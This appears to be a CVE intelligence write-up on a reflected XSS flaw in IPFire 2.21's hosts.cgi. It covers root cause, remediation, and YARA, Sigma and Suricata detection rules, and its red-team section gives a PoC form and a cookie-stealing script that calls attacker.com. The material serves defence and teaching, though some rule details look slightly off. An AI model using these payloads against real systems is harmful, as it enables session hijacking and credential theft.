CVE-2019-25397
Executive Summary
CVE-2019-25397 is a reflected cross-site scripting (XSS) vulnerability in IPFire 2.21 Core Update 127, specifically within the hosts.cgi script. The vulnerability allows an unauthenticated attacker to inject arbitrary JavaScript into a victim's browser by crafting a malicious POST request with payloads in the KEY1, IP, HOST, or DOM parameters. The attack requires user interaction (e.g., clicking a crafted link) and can lead to session hijacking, credential theft, or defacement. No official patch has been released, making manual input validation and sanitization the primary mitigation.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
IPFire is a Linux-based firewall distribution. This vulnerability affects the core web interface component (hosts.cgi), not a third-party package. However, administrators should verify the integrity of their IPFire installation and ensure no unauthorized modifications have been made.
CVSS Breakdown & Threat Level
- CVSS Score: 6.1 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: Required
- Scope: Changed
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
Threat Level: Medium. The vulnerability is easy to exploit but requires user interaction. The impact is limited to information disclosure and minor integrity compromise.
Deep Dive & Mechanics
The hosts.cgi script in IPFire's web interface fails to sanitize user-supplied input in the KEY1, IP, HOST, and DOM parameters. When a victim submits a crafted POST request (e.g., via a malicious link), the script reflects the payload directly into the HTML response without proper encoding. This allows an attacker to execute arbitrary JavaScript in the context of the victim's session.
Root Cause: Lack of input validation and output encoding in the CGI script.
Attack Flow:
- Attacker crafts a malicious URL or form that submits a POST request to
hosts.cgiwith a JavaScript payload in one of the vulnerable parameters. - Victim clicks the link or submits the form while authenticated to the IPFire web interface.
- The server reflects the payload in the response, executing the script in the victim's browser.
- The script can steal session cookies, perform actions on behalf of the victim, or redirect to malicious sites.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
# hosts.cgi (vulnerable)
my $key1 = param('KEY1');
print "<input type='text' name='KEY1' value='$key1'>";
Patched Code (Conceptual):
# hosts.cgi (patched)
use HTML::Entities;
my $key1 = param('KEY1');
$key1 = encode_entities($key1);
print "<input type='text' name='KEY1' value='$key1'>";
The patched version uses HTML entity encoding to neutralize any injected script tags.
Exploitation & Lab Setup
Red Team
Proof of Concept (PoC):
<form action="https://target-ipfire/cgi-bin/hosts.cgi" method="POST">
<input type="hidden" name="KEY1" value="<script>alert('XSS')</script>">
<input type="submit" value="Click me">
</form>
Advanced Payload (Session Hijacking):
<script>
var img = new Image();
img.src = "https://attacker.com/steal?cookie=" + document.cookie;
</script>
Lab Setup:
- Deploy IPFire 2.21 Core Update 127 in a virtual machine.
- Access the web interface and authenticate.
- Craft a malicious HTML page with the PoC form.
- Host the page on a local server and trick the victim into clicking the submit button.
Blue Team
Detection:
- Monitor web server logs for POST requests to
/cgi-bin/hosts.cgicontaining suspicious parameters (e.g.,<script>,onerror,javascript:). - Use WAF rules to block requests with script tags in
KEY1,IP,HOST, orDOMparameters.
Mitigation:
- Apply input validation and output encoding to all user-supplied data in
hosts.cgi. - Implement Content Security Policy (CSP) headers to restrict script execution.
- Upgrade to a patched version of IPFire if available.
Indicators of Compromise (IOCs)
Network IOCs:
- POST requests to
/cgi-bin/hosts.cgiwith parameters containing<script>tags. - Outbound connections to attacker-controlled domains from the IPFire web interface.
- POST requests to
File IOCs:
- Modified
hosts.cgifile (check integrity via checksum). - Suspicious entries in
/var/log/httpd/access_logor/var/log/messages.
- Modified
Behavioral IOCs:
- Unexpected JavaScript execution in the browser.
- Session cookie theft or unauthorized actions in the IPFire web interface.
Detection Engineering
YARA Rule
rule CVE_2019_25397_XSS {
meta:
description = "Detects reflected XSS attempts against IPFire hosts.cgi"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2019-25397"
strings:
$script_tag = /<script[^>]*>.*?<\/script>/i
$onerror = /onerror\s*=/i
$javascript = /javascript\s*:/i
condition:
any of them
}
Sigma Rule
title: Reflected XSS in IPFire hosts.cgi
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects POST requests to hosts.cgi with XSS payloads
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query: '/cgi-bin/hosts.cgi*'
keywords:
- '<script'
- 'onerror='
- 'javascript:'
condition: selection and keywords
falsepositives:
- Legitimate use of script tags in admin actions (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2019-25397 - Reflected XSS in IPFire hosts.cgi";
flow:to_server,established;
content:"POST"; http_method;
content:"/cgi-bin/hosts.cgi"; http_uri;
content:"<script"; http_client_body;
sid:1000001;
rev:1;
reference:cve,2019-25397;
classtype:web-application-attack;
)
Remediation & Mitigation
Immediate Actions:
- Manually sanitize input in
hosts.cgiby encoding HTML entities. - Implement a Web Application Firewall (WAF) rule to block XSS payloads.
- Restrict access to the IPFire web interface to trusted IPs only.
- Manually sanitize input in
Long-term Fix:
- Upgrade to a patched version of IPFire (if available).
- Apply input validation and output encoding to all CGI scripts.
- Enable Content Security Policy (CSP) headers.
Monitoring:
- Review web server logs for suspicious POST requests.
- Use the provided YARA, Sigma, and Suricata rules for detection.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert